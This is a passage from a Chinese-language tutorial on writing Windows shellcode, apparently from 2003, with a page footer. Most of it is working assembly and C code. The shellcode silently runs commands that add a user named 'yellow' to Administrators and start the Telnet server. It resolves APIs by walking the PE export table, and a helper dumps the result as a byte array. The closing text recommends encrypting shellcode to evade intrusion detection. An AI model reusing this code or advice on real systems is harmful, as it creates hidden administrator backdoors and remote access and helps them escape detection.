_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD [COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD [COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用斷點
//6,執行命令新建用戶,如果權限夠就將用戶加入Administrators,再開啟標准的Telnet服 務
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD [i],SW_HIDE);
/*
  我們已經引入了一些常用的KERNEL API和WINSOCK API,可 以在這裡進行更深入的開發(比如我們可以使用WinSock自己實現一個Telnet服務端).
*/
API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤
__asm
{
/*

子程序FindApi,由我前面講解的GetFunctionByName 修改得到

入口參數:

ImageBase:DLL基址

FuncName:需要查找的引出函 數名

flen:引出函數名長度,在不會出現重復的情況下可以比引出函數名短一點

Count:引出函數地址索引起始,通常應該把它設為0.

出口參數:

如果查 找則成功Eax返回有效的函數地址,否則返回0

*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取 得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax, [eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數名稱指針數組 的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函數個數 NumberOfFunctions設置最大查找次數
FindLoop:
push ecx//使用一個小技巧,使 用程序循環更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函 數,注意這裡的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數不是指 定的函數則查找下一個
add esp,4//如果查找成功,則清除用於控制外層循環而壓入的 Ecx,准備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase// 獲得函數地址表
shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函 數索引*4)
add eax,Count
mov eax,[eax]//獲得函數地址相對偏移量
add eax,ImageBase//計算函數真實地址,並通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數索引
add [FunNameArray],4//下一個函數名 指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進 行計數循環
loop FindLoop//如果ecx不為0則遞減並回到FindLoop,往後查找
NotFound:
xor eax,eax//如果沒有找到,則返回0
Found:
ret
//ShellCode結束標識符
_emit '*'
_emit '*'
}
}
void AboutMe(void)
{
printf("\t++++++++++++++++++++++++++++++++++\n");
printf("\t+ ShellCode Demo! +\n");
printf("\t+ Code by yellow +\n");
printf("\t+ Date:2003-12-21 +\n");
printf("\t+ Email:[email protected] +\n");
printf("\t+ Home Page:www.safechina.net +\n");
printf("\t++++++++++++++++++++++++++++++++++\n");
}
void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);
}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}
int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int) p+=4;
}
printsc(p);
AboutMe();
getch();
}
////////////////////////////////////////////////////////////

注意我在 這裡我沒有演示ShellCode加密技術,現在的ShellCode加密大都都xor之類的操作,基本上比較 簡單,但為了逃避"入侵檢測系統"的查殺還是應該使用比較好的加密方法,我想以 後可能會寫一些相關的技術文章吧!

Ok!已經演示了這麼多,我想你的收獲一定不小吧! 俗話說的好"師傅領進門,修行在個人",ShellCode最關鍵的技術我們已經掌握了, 至於怎麼去實現一個功能豐富的ShellCode就看你自己的開發技術和經驗了!

最後

當我初學ShellCode編寫技術時,對於沒有能讓初學者入門的ShellCode教程可以參考 而感到煩惱,所以在我完成PE和KERNEL32地址獲得方法學習後,就立刻寫了這篇文章,希望對廣 大初學者有所幫助!眼看快要到聖誕節,yellow在這裡初大家聖誕節快樂,永遠開心,永遠年輕! 願中國的安全技術更上一層樓!

4,參考資 料.

<MSDN>

<Windows 核心編程>

<Windows 95系統程 序設計大奧秘>

<Win32Asm Programming>

  1. 上一頁:
  2. 下一頁:
欄目導航
Copyright © 程式師世界 All Rights Reserved